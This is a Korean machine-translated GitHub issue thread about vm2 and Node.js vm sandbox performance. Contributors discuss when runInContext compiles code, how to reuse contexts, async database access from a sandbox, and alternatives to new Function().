์„ฑ๋Šฅ ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๋Š” ์†”๋ฃจ์…˜์€ runInContext ํ•œ ๋ฒˆ ํ˜ธ์ถœํ•˜์—ฌ ์ฝ”๋“œ๋ฅผ ์ปดํŒŒ์ผํ•˜๊ณ  ๋ฐ˜ํ™˜๋˜๋Š” ์ฐธ์กฐ ๋˜๋Š” ์ž…๋ ฅ ์ธ์ˆ˜๋กœ ์ œ๊ณตํ•œ ์ฐธ์กฐ๋ฅผ ํ†ตํ•ด ์ปดํŒŒ์ผ๋œ ์ฝ”๋“œ์™€ ์ƒํ˜ธ ์ž‘์šฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ์ƒŒ๋“œ๋ฐ•์Šค์™€์˜ ์–‘๋ฐฉํ–ฅ ํ†ต์‹ ์„ ์œ„ํ•ด ๋ช‡ ๊ฐœ์˜ new Event() ๊ฐœ์ฒด๋ฅผ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค. ์ด๊ฒƒ์ด ์šฐ๋ฆฌ์˜ [์—ฌ์ „ํ•œ ๋‚ด๋ถ€ ์ƒŒ๋“œ๋ฐ•์Šค, ์ •์น˜์ ์ธ ์ด์œ ๋กœ ์˜คํ”ˆ ์†Œ์Šค๋˜์ง€ ์•Š์€] vm ๋ž˜ํผ๊ฐ€ ํ•˜๋Š” ์ผ์ด๋ฉฐ ์˜ค๋ฒ„ํ—ค๋“œ๋Š” ์™„์ „ํžˆ ๋ฌด์‹œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

@parasyte : ํ . ๊ทธ๋Ÿฌ๋‚˜ new vm.Script()๊ฐ€ ์ฝ”๋“œ๋ฅผ ์ปดํŒŒ์ผํ•˜์ง€ ์•Š์Šต๋‹ˆ๊นŒ? ์–ด์จŒ๋“  ๋‚˜๋Š” ๋‹น์‹ ์ด ๋งํ•˜๋Š” ๊ฒƒ์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์บ์‹ฑํ•ด์•ผ ํ•˜๋Š” ๊ฒƒ์€ runInContext์— ๋Œ€ํ•œ ์ฐธ์กฐ์ด๋ฏ€๋กœ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ฒ˜์Œ ํ˜ธ์ถœ๋  ๋•Œ๋งŒ ์˜ค๋ฒ„ํ—ค๋“œ๋ฅผ ๊ฒช์„ ๊ฒƒ์ด๋ผ๊ณ  ์ƒ๊ฐํ•ฉ๋‹ˆ๋‹ค. ํ™•์‹คํžˆ ๊ณ ๋ คํ•  ๊ฐ€์น˜๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

์•„๋‹ˆ์š”. runInContext ๋Š” ์ฝ”๋“œ๋ฅผ ์ปดํŒŒ์ผํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๊ฒƒ์— ๋Œ€ํ•ด ์ƒ๊ฐํ•ด๋ณด์‹ญ์‹œ์˜ค. v8์€ Just-In-Time ์ปดํŒŒ์ผ๋Ÿฌ์ž…๋‹ˆ๋‹ค. ์ปดํŒŒ์ผํ•˜๋ ค๋ฉด ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

@parasyte : ์ข‹์•„์š”, ํ•˜์ง€๋งŒ node.js ๋ฌธ์„œ์—์„œ:
_vm.Script ํด๋ž˜์Šค์˜ ์ธ์Šคํ„ด์Šค์—๋Š” ํŠน์ • ์ƒŒ๋“œ๋ฐ•์Šค(๋˜๋Š” "์ปจํ…์ŠคํŠธ")์—์„œ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฏธ๋ฆฌ ์ปดํŒŒ์ผ๋œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค._

@Eric24 ๋ฌธ์„œ๊ฐ€ Script ๊ฐœ์ฒด๊ฐ€ ์ธ์Šคํ„ด์Šคํ™”๋œ ํ›„์— ์ธํ„ฐํ”„๋ฆฌํ„ฐ๋ฅผ ํ†ตํ•ด ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ v8์—์„œ ์–ป๋Š” ์„ฑ๋Šฅ ์ด๋“์˜ ๋Œ€๋ถ€๋ถ„์€ ์ด ํ•ด์„๋œ ์ค‘๊ฐ„ ํ‘œํ˜„์„ ๊ธฐ๋ณธ ๊ธฐ๊ณ„ ์ฝ”๋“œ๋กœ ์ปดํŒŒ์ผํ•˜๋Š” ๋ฐ์„œ ๋น„๋กฏ๋ฉ๋‹ˆ๋‹ค. ํ›„์ž์˜ ๋‹จ๊ณ„๋Š” runInContext ๊ฐ€ ํ˜ธ์ถœ๋  ๋•Œ๊นŒ์ง€ ์‹œ์ž‘ ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์‹ค์ œ๋กœ JIT ์ปดํŒŒ์ผ๋Ÿฌ ์ˆ˜๋ช… ์ฃผ๊ธฐ๋Š” JIT๊ฐ€ ์ตœ์ ํ™”๋ฅผ ๊ณ ๋ คํ•˜๊ธฐ ์ „์— ์ฝ”๋“œ๋ฅผ ์›Œ๋ฐ์—…ํ•ด์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๊ทธ๋ณด๋‹ค ๋” ๋ณต์žกํ•ฉ๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์— ๊ด€์‹ฌ์ด ์žˆ๋‹ค๋ฉด ์ธํ„ฐ๋„ท์— ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์ž๋ฃŒ ๊ฐ€ ๋งŽ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ๋ช‡ ๊ฐ€์ง€ ํ•˜๋“œ ๋ฐ์ดํ„ฐ๋ฅผ ์ œ๊ณตํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ์€ runInContext ๋Œ€ํ•œ ๊ด€๋ จ ์†Œ์Šค ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค. https://github.com/nodejs/node/blob/v8.7.0/lib/vm.js#L54 -L61

realRunInContext ์ฐธ์กฐ๋Š” C++ contextify ๋ชจ๋“ˆ์—์„œ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://github.com/nodejs/node/blob/v8.7.0/src/node_contextify.cc#L660 -L719

์ด C++ ์ฝ”๋“œ์˜ ๊ฐ€์žฅ ์ค‘์š”ํ•œ ๋ถ€๋ถ„์€ ํ‹€๋ฆผ์—†์ด EvalMachine ๋Œ€ํ•œ ํ˜ธ์ถœ์ž…๋‹ˆ๋‹ค. ์ด ํ˜ธ์ถœ์€ ์ปดํŒŒ์ผ๋œ ์ฝ”๋“œ ๋ฅผ ํ˜„์žฌ ์ปจํ…์ŠคํŠธ์— ๋ฐ”์ธ๋”ฉํ•˜๊ณ  script->Run() ๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ JIT ์ปดํŒŒ์ผ๋Ÿฌ๋ฅผ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค. ๋ฌผ๋ก  ์ตœ์ ํ™”ํ•  ์ฝ”๋“œ๋ฅผ ์ฐพ๊ธฐ ์‹œ์ž‘ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋„์›€์ด ๋˜๊ธฐ๋ฅผ ๋ฐ”๋ž๋‹ˆ๋‹ค!

@parasyte : ๋„ค, ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค. ๊ฐ์‚ฌ ํ•ด์š”!

์šฐ๋ฆฌ๋Š” vm2 ์ƒŒ๋“œ๋ฐ•์Šค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ•˜๋‚˜์˜ ๊ตฌํ˜„์œผ๋กœ ์–ด๋ ค์›€์„ ๊ฒช๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. vm2 ์ƒŒ๋“œ๋ฐ•์Šค ๋‚ด์—์„œ ๋น„๋™๊ธฐ ์ฝ”๋“œ๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๊นŒ? ๊ทธ ์ด์œ ๋Š” vm2์˜ ์ƒŒ๋“œ๋ฐ•์Šค์—์„œ MySQL๊ณผ ๊ฐ™์€ ๋ฐ์ดํ„ฐ ์†Œ์Šค์— ์—ฐ๊ฒฐํ•ด์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

์˜ˆ, ์ƒŒ๋“œ๋ฐ•์Šค ๋‚ด์—์„œ ๋น„๋™๊ธฐ๋ฅผ ๊ธฐ๋‹ค๋ฆด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์–ด๋–ค ๋ฌธ์ œ๊ฐ€ ์žˆ์Šต๋‹ˆ๊นŒ?
์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ ์ค‘์ธ ๊ฒฝ์šฐ
์ƒŒ๋“œ๋ฐ•์Šค์— ๋Œ€ํ•œ ์ „์ฒด SQL ์•ก์„ธ์Šค ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค. ๋Œ€์‹  ๋‹ค์Œ์„ ์ถ”๊ฐ€ํ•˜๊ณ  ์‹ถ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค.
์ƒŒ๋“œ๋ฐ•์Šค์— ๋Œ€ํ•œ getdata() ๋ฉ”์„œ๋“œ๋Š” ์ƒŒ๋“œ๋ฐ•์Šค ์™ธ๋ถ€์—์„œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
์‹ค์ œ SQL ์—ฐ๊ฒฐ์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

2017๋…„ 10์›” 24์ผ ํ™”์š”์ผ ์˜ค์ „ 6:49 Rajagopal Somasundaram <
[email protected]>์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ผ์Šต๋‹ˆ๋‹ค.

์šฐ๋ฆฌ๋Š” vm2 ์ƒŒ๋“œ๋ฐ•์Šค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ•˜๋‚˜์˜ ๊ตฌํ˜„์œผ๋กœ ์–ด๋ ค์›€์„ ๊ฒช๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ „ํ™”ํ•ด๋„ ๋ ๊นŒ์š”?
vm2 ์ƒŒ๋“œ๋ฐ•์Šค ๋‚ด๋ถ€์˜ ๋น„๋™๊ธฐ ์ฝ”๋“œ? ๊ทธ ์ด์œ ๋Š”
vm2์˜ ์ƒŒ๋“œ๋ฐ•์Šค์—์„œ MySQL๊ณผ ๊ฐ™์€ ๋ฐ์ดํ„ฐ ์†Œ์Šค?

โ€”
๋‹น์‹ ์ด ์–ธ๊ธ‰๋˜์—ˆ๊ธฐ ๋•Œ๋ฌธ์— ์ด๊ฒƒ์„ ๋ฐ›๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.
์ด ์ด๋ฉ”์ผ์— ์ง์ ‘ ๋‹ต์žฅํ•˜๊ณ  GitHub์—์„œ ํ™•์ธ
https://github.com/patriksimek/vm2/issues/32#issuecomment-338978717 ๋˜๋Š” ์Œ์†Œ๊ฑฐ
์Šค๋ ˆ๋“œ
https://github.com/notifications/unsubscribe-auth/AOeY7Kir6Mm_k_P2ZhR3tdQzZQPknTNZks5svdz0gaJpZM4I22m8
.

@wysisoft ๋‹ต๋ณ€ ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค . https://github.com/patriksimek/vm2/issues/102 ์„ธ๋ถ€์‚ฌํ•ญ์œผ๋กœ ๋ณ„๋„๋กœ ๋ฌธ์ œ๋ฅผ ์ œ๊ธฐํ–ˆ์Šต๋‹ˆ๋‹ค

@Eric24 '์ƒˆ๋กœ์šด ๊ธฐ๋Šฅ()' ๋Œ€์•ˆ์„ ๊ณต์œ ํ•˜์‹œ๊ฒ ์Šต๋‹ˆ๊นŒ? VM๋ณด๋‹ค ๊น”๋”ํ•ด ๋ณด์ž…๋‹ˆ๋‹ค.

@platinumindustries : ๊ฒฐ๊ตญ ์ €๋Š” "new Function()" ๋Œ€์•ˆ์„ ์ถ”์ฒœํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๋Š” ๊ฒฐ๊ตญ VM ์ ‘๊ทผ ๋ฐฉ์‹์„ ์œ ์ง€ํ•˜๊ณ  ๋Œ€์‹  ํ•ด๋‹น ์ฝ”๋“œ๋ฅผ ์ตœ์ ํ™”ํ•˜๋Š” ๋ฐ ์ง‘์ค‘ํ–ˆ์Šต๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ์ง€๊ธˆ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ๊ฒƒ์€ ์•„์ฃผ ์ž˜ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ์†”์งํžˆ ๋ฌด์—‡์ด ์šฐ๋ฆฌ๋ฅผ ๊ทธ ๋ฐฉํ–ฅ์œผ๋กœ ์ด๋Œ์—ˆ๋Š”์ง€ ์ •ํ™•ํžˆ ๊ธฐ์–ตํ•  ์ˆ˜ ์—†์ง€๋งŒ ๊ถ๊ทน์ ์œผ๋กœ ๋ชฉ๋ก์—์„œ "new Function()" ์ ‘๊ทผ ๋ฐฉ์‹์„ ๋„˜์–ด์„œ๋Š” ๋ช‡ ๊ฐ€์ง€ ์ž‘์€ ๊ฒƒ๋“ค์ด ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

@Eric24 ๊ทธ๋Ÿผ ์ข‹์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ NodeJS 10.9*์˜ ์ƒˆ ๋ฒ„์ „์—๋Š” vm์—์„œ eval()์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋Š” ์˜ต์…˜ ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๊นŒ ์•„๋‹ˆ๋ฉด ์—ฌ์ „ํžˆ C์—์„œ ๋น„ํ™œ์„ฑํ™”ํ•ด์•ผํ•ฉ๋‹ˆ๊นŒ?

์˜ค๋ž˜๋œ ์Šค๋ ˆ๋“œ์— ๋›ฐ์–ด๋“ค์–ด์„œ ์ •๋ง ์ฃ„์†กํ•ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ์‹ค์ œ ๋Œ€์ƒ ์‚ฌ์šฉ ์‚ฌ๋ก€์—์„œ๋Š” ๊ฐ ์‹คํ–‰์ด ๊ณ ์œ ํ•˜๊ณ  ์ƒˆ๋กœ์šด ์ปจํ…์ŠคํŠธ๋กœ ์‹œ์ž‘ํ•ด์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋งค๋ฒˆ ์ปจํ…์ŠคํŠธ๋ฅผ ๋‹ค์‹œ ์ƒ์„ฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(์ปดํŒŒ์ผ๋œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์บ์‹œํ•  ์ˆ˜ ์žˆ์Œ).

@Eric24 ์„œ๋ฒ„ ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ ๋‚ด์—์„œ vm2 ์‚ฌ์šฉํ•˜์—ฌ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์ž ์žฌ์ ์œผ๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์„ ์ฐพ๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๋“ค์–ด์˜ค๋Š” ์š”์ฒญ์˜ ๋งค๊ฐœ ๋ณ€์ˆ˜/์ธ์ˆ˜๋ฅผ VM ๋‚ด๋ถ€์—์„œ ์‹คํ–‰๋˜๋Š” ์ฝ”๋“œ๋กœ ์ „๋‹ฌํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ œ ์‚ฌ์šฉ ์‚ฌ๋ก€๊ฐ€ ์–ธ๊ธ‰ํ•œ ๊ฒƒ๊ณผ ์œ ์‚ฌํ•˜๋‹ค๊ณ  ์ƒ๊ฐํ•ฉ๋‹ˆ๋‹ค.

์ง€๊ธˆ ๋‚ด๊ฐ€ ๋ณผ ์ˆ˜ ์žˆ๋Š” ์œ ์ผํ•œ ๋ฐฉ๋ฒ•์€ ๋งค๋ฒˆ ์ƒˆ๋กœ์šด ์ปจํ…์ŠคํŠธ๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ์ด์ง€๋งŒ ์ด๊ฒƒ์€ ์ •๋ง ๋Š๋ฆฝ๋‹ˆ๋‹ค. ํ•˜๋‚˜์˜ ์ปจํ…์ŠคํŠธ ๊ฐœ์ฒด๋ฅผ ์žฌ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์ง€๋งŒ ๋‹ค๋ฅธ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์‚ฌ์šฉํ•˜์—ฌ VM ๋‚ด๋ถ€์—์„œ ์‹คํ–‰๋˜๋Š” ์ฝ”๋“œ์— ๋ฐ์ดํ„ฐ๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์•Œ์•„๋‚ด๋ ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค. @parasyte๋Š” Event() ๊ฐœ์ฒด๋ฅผ ์‚ฌ์šฉํ•œ ์–‘๋ฐฉํ–ฅ ํ†ต์‹ ์— ๋Œ€ํ•ด ์–ธ๊ธ‰ํ–ˆ์ง€๋งŒ ์™„์ „ํžˆ ๋ช…ํ™•ํ•˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค.

๋น„์Šทํ•œ ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ–ˆ๋‹ค๋ฉด ์–ด๋–ป๊ฒŒ ํ•ด๊ฒฐํ–ˆ๋Š”์ง€ ํŒ์„ ๊ณต์œ ํ•ด ์ฃผ์‹œ๊ฒ ์Šต๋‹ˆ๊นŒ? ์‹œ๊ฐ„ ๋‚ด ์ค˜์„œ ๊ณ ๋งˆ์›Œ.

@darahayes : ์‚ฌ์‹ค, ๋งค๋ฒˆ ์‹คํ–‰ํ•  ๋•Œ๋งˆ๋‹ค ์ƒˆ๋กœ์šด ์ปจํ…์ŠคํŠธ๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์žˆ์ง€๋งŒ,

๊ฐ ์‹คํ–‰์— ๋Œ€ํ•ด ์ƒˆ๋กœ์šด nodejs ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ์žˆ์œผ๋ฉฐ ์ง€์—ฐ ์‹œ๊ฐ„์ด 100ms ๋ฏธ๋งŒ์œผ๋กœ ๋‚˜์˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์ด ํŽ˜์ด์ง€๊ฐ€ ๋„์›€์ด ๋˜์—ˆ๋‚˜์š”?
0 / 5 - 0 ๋“ฑ๊ธ‰